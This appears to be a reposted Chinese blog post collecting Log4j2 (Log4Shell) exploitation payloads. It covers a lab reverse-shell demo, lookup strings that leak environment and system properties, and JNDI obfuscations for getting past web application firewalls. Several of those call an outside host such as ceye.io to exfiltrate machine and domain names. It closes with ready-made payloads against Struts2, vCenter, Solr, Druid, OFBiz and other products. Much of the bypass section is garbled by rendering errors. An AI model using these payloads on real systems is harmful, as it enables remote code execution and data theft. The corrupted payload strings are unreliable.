原文链接:https://www.cnblogs.com/peterpan0707007/p/15772359.html

【实战】log4j2远程命令执行漏洞利用姿势汇总

0x00 反弹shell

靶机:10.110.13.153

java -jar log4jRCE-0.0.1-SNAPSHOT.jar

img

http://10.110.13.153:18080/

img

攻击机:10.110.13.106

python3 poc.py --userip 10.110.13.106 --webport 8000 --lport 2345

img

攻击机开启监听后,执行payload获取shell:

img

img

0x01 获取敏感数据

log4j-java

IDusagemethod
1${java:version}getSystemProperty(“java.version”)
2${java:runtime}getRuntime()
3${java:vm}getVirtualMachine()
4${java:os}getOperatingSystem()
5${java:hw}getHardware()
6${java:locale}getLocale()

img

数据中包含特殊字符时可考虑采用dns进行带外

依此类推

Linux

idusage
1${env:CLASSPATH}
2${env:HOME}
3${env:JAVA_HOME}
4${env:LANG}
5${env:LC_TERMINAL}
6${env:LC_TERMINAL_VERSION}
7${env:LESS}
8${env:LOGNAME}
9${env:LSCOLORS}
10${env:LS_COLORS}
11${env:MAIL}
12${env:NLSPATH}
13${env:OLDPWD}
14${env:PAGER}
15${env:PATH}
16${env:PWD}
17${env:SHELL}
18${env:SHLVL}
19${env:SSH_CLIENT}
20${env:SSH_CONNECTION}
21${env:SSH_TTY}
22${env:TERM}
23${env:USER}
24${env:XDG_RUNTIME_DIR}
25${env:XDG_SESSION_ID}
26${env:XFILESEARCHPATH}
27${env:ZSH}

Windows

idusage
1${env:A8_HOME}
2${env:A8_ROOT_BIN}
3${env:ALLUSERSPROFILE}
4${env:APPDATA}
5${env:CATALINA_BASE}
6${env:CATALINA_HOME}
7${env:CATALINA_OPTS}
8${env:CATALINA_TMPDIR}
9${env:CLASSPATH}
10${env:CLIENTNAME}
11${env:COMPUTERNAME}
12${env:ComSpec}
13${env:CommonProgramFiles}
14${env:CommonProgramFiles(x86)}
15${env:CommonProgramW6432}
16${env:FP_NO_HOST_CHECK}
17${env:HOMEDRIVE}
18${env:HOMEPATH}
19${env:JRE_HOME}
20${env:Java_Home}
21${env:LOCALAPPDATA}
22${env:LOGONSERVER}
23${env:NUMBER_OF_PROCESSORS}
24${env:OS}
25${env:PATHEXT}
26${env:PROCESSOR_ARCHITECTURE}
27${env:PROCESSOR_IDENTIFIER}
28${env:PROCESSOR_LEVEL}
29${env:PROCESSOR_REVISION}
30${env:PROMPT}
31${env:PSModulePath}
32${env:PUBLIC}
33${env:Path}
34${env:ProgramData}
35${env:ProgramFiles}
36${env:ProgramFiles(x86)}
37${env:ProgramW6432}
38${env:SESSIONNAME}
39${env:SystemDrive}
40${env:SystemRoot}
41${env:TEMP}
42${env:TMP}
43${env:ThisExitCode}
44${env:USERDOMAIN}
45${env:USERNAME}
46${env:USERPROFILE}
47${env:WORK_PATH}
48${env:windir}
49${env:windows_tracing_flags}
50${env:windows_tracing_logfile}

log4j2-sys

idusage
1${sys:awt.toolkit}
2${sys:file.encoding}
3${sys:file.encoding.pkg}
4${sys:file.separator}
5${sys:java.awt.graphicsenv}
6${sys:java.awt.printerjob}
7${sys:java.class.path}
8${sys:java.class.version}
9${sys:java.endorsed.dirs}
10${sys:java.ext.dirs}
11${sys:java.home}
12${sys:java.io.tmpdir}
13${sys:java.library.path}
14${sys:java.runtime.name}
15${sys:java.runtime.version}
16${sys:java.specification.name}
17${sys:java.specification.vendor}
18${sys:java.specification.version}
19${sys:java.vendor}
20${sys:java.vendor.url}
21${sys:java.vendor.url.bug}
22${sys:java.version}
23${sys:java.vm.info}
24${sys:java.vm.name}
25${sys:java.vm.specification.name}
26${sys:java.vm.specification.vendor}
27${sys:java.vm.specification.version}
28${sys:java.vm.vendor}
29${sys:java.vm.version}
30${sys:line.separator}
31${sys:os.arch}
32${sys:os.name}
33${sys:os.version}
34${sys:path.separator}
35${sys:sun.arch.data.model}
36${sys:sun.boot.class.path}
37${sys:sun.boot.library.path}
38${sys:sun.cpu.endian}
39${sys:sun.cpu.isalist}
40${sys:sun.desktop}
41${sys:sun.io.unicode.encoding}
42${sys:sun.java.command}
43${sys:sun.java.launcher}
44${sys:sun.jnu.encoding}
45${sys:sun.management.compiler}
46${sys:sun.os.patch.level}
47${sys:sun.stderr.encoding}
48${sys:user.country}
49${sys:user.dir}
50${sys:user.home}
51${sys:user.language}
52${sys:user.name}
53${sys:user.script}
54${sys:user.timezone}
55${sys:user.variant}

0x02 WAF Bypass

${jndi:ldap://127.0.0.1:1389/a}

KaTeX parse error: Expected '}', got 'EOF' at end of input: {{::-j} : : − n {::-n} ::−n{::-d} : : − i : {::-i}: ::−i:{::-r} : : − m {::-m} ::−m{::-i}😕/ceye.io/a}

KaTeX parse error: Expected '}', got 'EOF' at end of input: {{::-j}ndi:rmi://ceye.io/a}

${jndi:rmi://ceye.io}

KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:jndi}😒{lower:rmi}😕/ceye.io/a}

KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:KaTeX parse error: Expected 'EOF', got '}' at position 13: {lower:jndi}}̲:{lower:rmi}😕/ceye.io/a}

KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:j} l o w e r : n {lower:n} lower:n{lower:d}i:${lower:rmi}😕/ceye.io/a}

KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:j} u p p e r : n {upper:n} upper:n{lower:d} u p p e r : i : {upper:i}: upper:i:{lower:r}m${lower:i}}😕/ceye.io/a}

KaTeX parse error: Expected '}', got 'EOF' at end of input: {{upper:jndi}😒{upper:rmi}😕/ceye.io/a}

KaTeX parse error: Expected '}', got 'EOF' at end of input: {{upper:j} u p p e r : n {upper:n} upper:n{lower:d}i:${upper:rmi}😕/ceye.io/a}

KaTeX parse error: Expected '}', got 'EOF' at end of input: {{upper:j} u p p e r : n {upper:n} upper:n{upper:d} u p p e r : i : {upper:i}: upper:i:{lower:r}m${lower:i}}😕/ceye.io/a}

KaTeX parse error: Expected '}', got 'EOF' at end of input: {{::-j} : : − n {::-n} ::−n{::-d} : : − i : {::-i}: ::−i:{::-l} : : − d {::-d} ::−d{::-a} : : − p : / / {::-p}:// ::−p://{hostName}.ceye.io}

KaTeX parse error: Expected '}', got 'EOF' at end of input: {{upper::-j} u p p e r : : − n {upper::-n} upper::−n{::-d} u p p e r : : − i : {upper::-i}: upper::−i:{upper::-l} u p p e r : : − d {upper::-d} upper::−d{upper::-a} u p p e r : : − p : / / {upper::-p}:// upper::−p://{hostName}.ceye.io}

KaTeX parse error: Expected '}', got 'EOF' at end of input: {{::-j} : : − n {::-n} ::−n{::-d} : : − i : {::-i}: ::−i:{::-l} : : − d {::-d} ::−d{::-a} : : − p : / / {::-p}:// ::−p://{hostName}. e n v : C O M P U T E R N A M E . {env:COMPUTERNAME}. env:COMPUTERNAME.{env:USERDOMAIN}.${env}.ceye.io

0x03 其它已知受影响组件可利用的payload

Apache struts2

http://127.0.0.1:8080/struts2-showcase/token/transfer4.action -d struts.token.name=‘${jndi:rmi://127.0 .0.1:1099/ylbtsl}’

http://localhost:8080/struts2-showcase/ %7Bjndi:ldap: %7B:😕%7D/10.0.0.6:1270/abc%7D/

VMWare VCenter

“X-Forwarded-For: ${jndi:ldap://10.0.0.3:1270/lol}” “https://10.0.0.4/websso/SAML2/SSO/photon- machine.lan?SAMLRequest=”

Apache James

“smtp://localhost” --user “test:test” --mail-from ‘${jndi:ldap://localhost:1270/a}@gmail.com’ --mail-rcpt ‘test’ --upload-file email.txt

Apache Solr

/solr/admin/collections?action=KaTeX parse error: Expected 'EOF', got '&' at position 45: …eShell/ip/9999}&̲wt=json /solr/a…%7Bjndi:ldap://0.0.0.0/123%7D&wt=json
/solr/admin/info/system?_=KaTeX parse error: Expected 'EOF', got '&' at position 26: …://0.0.0.0/123}&̲wt=json /solr/a…{jndi:ldap://0.0.0.0/123}&name=&schema=&wt=

Apache Flink

POST: http://0.0.0.0:8081/jars/${jndi:ldap:%252f%252f0.0.0.0%252f123}.jar/run

Apache Druid

/druid/coordinator/ j n d i : l d a p : / / 0.0.0.0 / 123 / d r u i d / i n d e x e r / {jndi:ldap://0.0.0.0/123} /druid/indexer/ jndi:ldap://0.0.0.0/123/druid/indexer/{jndi:ldap://0.0.0.0/123}
/druid/v2/ j n d i : l d a p : / / 0.0.0.0 / 123 c u r l − v v − X D E L E T E ′ h t t p : / / x x x x x x : 8888 / d r u i d / c o o r d i n a t o r / v 1 / l o o k u p s / c o n f i g / {jndi:ldap://0.0.0.0/123} curl -vv -X DELETE 'http://xxxxxx:8888/druid/coordinator/v1/lookups/config/ jndi:ldap://0.0.0.0/123curl−vv−XDELETE′http://xxxxxx:8888/druid/coordinator/v1/lookups/config/%7bjndi:ldap:%2f%2fdruid_test.yyyyyyyy%7d’

Apache JSPWiki

http://localhost:8080/JSPWiki/wiki/ %7Bjndi:ldap: %7B:😕%7D/10.0.0.6:1270/abc%7D/

Apache OFBiz

“Cookie: OFBiz.Visitor=${jndi:ldap://localhost:1270/abc}” https://localhost:8443/webtools/control/main

更多推荐